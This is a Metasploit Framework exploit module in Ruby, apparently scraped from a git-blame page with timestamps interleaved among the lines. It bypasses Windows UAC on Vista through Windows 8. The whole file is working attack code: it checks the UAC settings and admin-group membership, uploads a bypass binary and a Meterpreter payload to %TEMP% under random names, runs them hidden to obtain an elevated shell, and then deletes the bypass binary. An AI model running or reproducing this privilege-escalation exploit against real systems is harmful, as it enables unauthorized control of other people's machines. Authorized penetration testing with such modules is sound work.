2012-10-04 18:31:23 +00:00
|
|
|
##
|
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
|
|
# Framework web site for more information on licensing and terms of use.
|
2013-03-07 23:53:19 +00:00
|
|
|
# http://metasploit.com/framework/
|
2012-10-04 18:31:23 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
2012-10-23 18:24:05 +00:00
|
|
|
require 'msf/core/post/common'
|
|
|
|
require 'msf/core/exploit/exe'
|
|
|
|
require 'msf/core/post/file'
|
2012-10-04 18:31:23 +00:00
|
|
|
|
|
|
|
class Metasploit3 < Msf::Exploit::Local
|
|
|
|
Rank = ExcellentRanking
|
|
|
|
|
|
|
|
include Post::Common
|
|
|
|
include Exploit::EXE
|
|
|
|
include Post::File
|
|
|
|
|
|
|
|
def initialize(info={})
|
|
|
|
super( update_info( info,
|
|
|
|
'Name' => 'Windows Escalate UAC Protection Bypass',
|
|
|
|
'Description' => %q{
|
|
|
|
This module will bypass Windows UAC by utilizing the trusted publisher
|
|
|
|
certificate through process injection. It will spawn a second shell that
|
|
|
|
has the UAC flag turned off.
|
|
|
|
},
|
|
|
|
'License' => MSF_LICENSE,
|
2012-10-04 19:58:53 +00:00
|
|
|
'Author' => [
|
2012-10-04 18:31:23 +00:00
|
|
|
'David Kennedy "ReL1K" <kennedyd013[at]gmail.com>',
|
|
|
|
'mitnick',
|
2012-10-22 21:01:58 +00:00
|
|
|
'mubix' # Port to local exploit
|
2012-10-04 18:31:23 +00:00
|
|
|
],
|
2012-10-23 18:33:01 +00:00
|
|
|
'Platform' => [ 'win' ],
|
2012-10-04 18:31:23 +00:00
|
|
|
'SessionTypes' => [ 'meterpreter' ],
|
|
|
|
'Targets' => [ [ 'Windows', {} ] ],
|
2012-10-04 21:34:35 +00:00
|
|
|
'DefaultTarget' => 0,
|
2012-10-04 18:31:23 +00:00
|
|
|
'References' => [
|
2012-10-22 20:34:47 +00:00
|
|
|
[ 'URL', 'http://www.trustedsec.com/december-2010/bypass-windows-uac/' ]
|
2012-10-04 18:31:23 +00:00
|
|
|
],
|
2012-10-22 18:04:21 +00:00
|
|
|
'DisclosureDate'=> "Dec 31 2010"
|
2012-10-04 18:31:23 +00:00
|
|
|
))
|
|
|
|
|
|
|
|
end
|
|
|
|
|
|
|
|
def exploit
|
|
|
|
|
2012-11-15 04:54:01 +00:00
|
|
|
isadmin = session.railgun.shell32.IsUserAnAdmin()
|
|
|
|
if isadmin['return']
|
|
|
|
print_error('Already in elevated state. Exiting...')
|
|
|
|
return
|
|
|
|
end
|
2012-10-04 18:31:23 +00:00
|
|
|
|
|
|
|
#
|
|
|
|
# Verify use against Vista+
|
|
|
|
#
|
|
|
|
vuln = false
|
|
|
|
winver = sysinfo["OS"]
|
2013-04-09 07:07:40 +00:00
|
|
|
if winver !~ /Windows Vista|Windows 2008|Windows [78]/
|
|
|
|
print_error("#{winver} is not vulnerable.")
|
2012-10-06 04:59:54 +00:00
|
|
|
return
|
|
|
|
end
|
|
|
|
|
|
|
|
root_key, base_key = session.sys.registry.splitkey("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System")
|
|
|
|
open_key = session.sys.registry.open_key(root_key, base_key)
|
|
|
|
lua_setting = open_key.query_value('EnableLUA')
|
|
|
|
|
|
|
|
if lua_setting.data == 1
|
|
|
|
print_status "UAC is Enabled, checking level..."
|
|
|
|
else
|
|
|
|
print_error "UAC is not enabled, no reason to run module, exiting..."
|
|
|
|
print_error "Run exploit/windows/local/ask to elevate"
|
|
|
|
return
|
|
|
|
end
|
|
|
|
|
|
|
|
uac_level = open_key.query_value('ConsentPromptBehaviorAdmin')
|
|
|
|
|
|
|
|
case uac_level.data
|
|
|
|
when 2
|
|
|
|
print_error "UAC is set to 'Always Notify'"
|
|
|
|
print_error "This module does not bypass this setting, exiting..."
|
|
|
|
return
|
|
|
|
when 5
|
|
|
|
print_good "UAC is set to Default"
|
|
|
|
print_good "BypassUAC can bypass this setting, continuing..."
|
|
|
|
when 0
|
|
|
|
print_error "UAC is not enabled, no reason to run module"
|
|
|
|
print_error "Run exploit/windows/local/ask to elevate"
|
2012-10-04 18:31:23 +00:00
|
|
|
return
|
|
|
|
end
|
|
|
|
|
2012-11-15 04:54:01 +00:00
|
|
|
# Check if you are an admin
|
|
|
|
print_status('Checking admin status...')
|
2012-11-26 20:19:13 +00:00
|
|
|
whoami = session.sys.process.execute('cmd /c whoami /groups',
|
2012-11-15 04:54:01 +00:00
|
|
|
nil,
|
|
|
|
{'Hidden' => true, 'Channelized' => true}
|
|
|
|
)
|
|
|
|
cmdout = []
|
|
|
|
isinadmins = []
|
|
|
|
while(cmdoutput = whoami.channel.read)
|
|
|
|
cmdout << cmdoutput
|
|
|
|
end
|
|
|
|
if cmdout.size == 0
|
|
|
|
print_error('Either whoami is not there or failed to execute')
|
|
|
|
print_error('Continuing under assumption you already checked...')
|
|
|
|
else
|
2013-06-04 22:34:06 +00:00
|
|
|
isinadmins = cmdout.join.scan(/S-1-5-32-544/)
|
2012-11-15 04:54:01 +00:00
|
|
|
if isinadmins.size > 0
|
|
|
|
print_good('Part of Administrators group! Continuing...')
|
|
|
|
else
|
|
|
|
print_error('Not in admins group, cannot escalate with this module')
|
|
|
|
print_error('Exiting...')
|
|
|
|
return
|
|
|
|
end
|
|
|
|
end
|
|
|
|
|
2012-10-04 18:31:23 +00:00
|
|
|
#
|
|
|
|
# Generate payload and random names for upload
|
|
|
|
#
|
|
|
|
payload = generate_payload_exe
|
|
|
|
|
|
|
|
# randomize the bypass_uac_filename
|
|
|
|
bypass_uac_filename = Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe"
|
|
|
|
|
|
|
|
# randomize the payload exe name
|
|
|
|
payload_filename = Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe"
|
|
|
|
|
|
|
|
# path to the bypassuac binary
|
|
|
|
path = ::File.join(Msf::Config.install_root, "data", "post")
|
2012-10-04 19:58:53 +00:00
|
|
|
|
2012-10-04 18:31:23 +00:00
|
|
|
# decide, x86 or x64
|
|
|
|
bpexe = nil
|
2013-08-09 01:42:02 +00:00
|
|
|
if sysinfo["Architecture"] =~ /x64/i
|
2012-10-04 18:31:23 +00:00
|
|
|
bpexe = ::File.join(path, "bypassuac-x64.exe")
|
|
|
|
else
|
|
|
|
bpexe = ::File.join(path, "bypassuac-x86.exe")
|
|
|
|
end
|
|
|
|
|
|
|
|
tmpdir = session.fs.file.expand_path("%TEMP%")
|
2012-11-15 04:56:32 +00:00
|
|
|
cmd = "#{tmpdir}\\#{bypass_uac_filename} /c %TEMP%\\#{payload_filename}"
|
2012-10-04 18:31:23 +00:00
|
|
|
|
|
|
|
print_status("Uploading the bypass UAC executable to the filesystem...")
|
|
|
|
|
|
|
|
begin
|
|
|
|
#
|
|
|
|
# Upload UAC bypass to the filesystem
|
|
|
|
#
|
|
|
|
session.fs.file.upload_file("%TEMP%\\#{bypass_uac_filename}", bpexe)
|
|
|
|
print_status("Meterpreter stager executable #{payload.length} bytes long being uploaded..")
|
|
|
|
#
|
|
|
|
# Upload the payload to the filesystem
|
|
|
|
#
|
|
|
|
tempexe = tmpdir + "\\" + payload_filename
|
|
|
|
fd = client.fs.file.new(tempexe, "wb")
|
|
|
|
fd.write(payload)
|
|
|
|
fd.close
|
|
|
|
rescue ::Exception => e
|
|
|
|
print_error("Error uploading file #{bypass_uac_filename}: #{e.class} #{e}")
|
|
|
|
return
|
|
|
|
end
|
|
|
|
|
|
|
|
print_status("Uploaded the agent to the filesystem....")
|
|
|
|
|
|
|
|
# execute the payload
|
|
|
|
session.sys.process.execute(cmd, nil, {'Hidden' => true})
|
|
|
|
|
|
|
|
# delete the uac bypass payload
|
|
|
|
delete_file = "cmd.exe /c del #{tmpdir}\\#{bypass_uac_filename}"
|
|
|
|
|
2012-11-15 04:56:32 +00:00
|
|
|
session.sys.process.execute(delete_file, nil, {'Hidden' => true})
|
2012-10-04 18:31:23 +00:00
|
|
|
end
|
|
|
|
end
|
|
|
|
|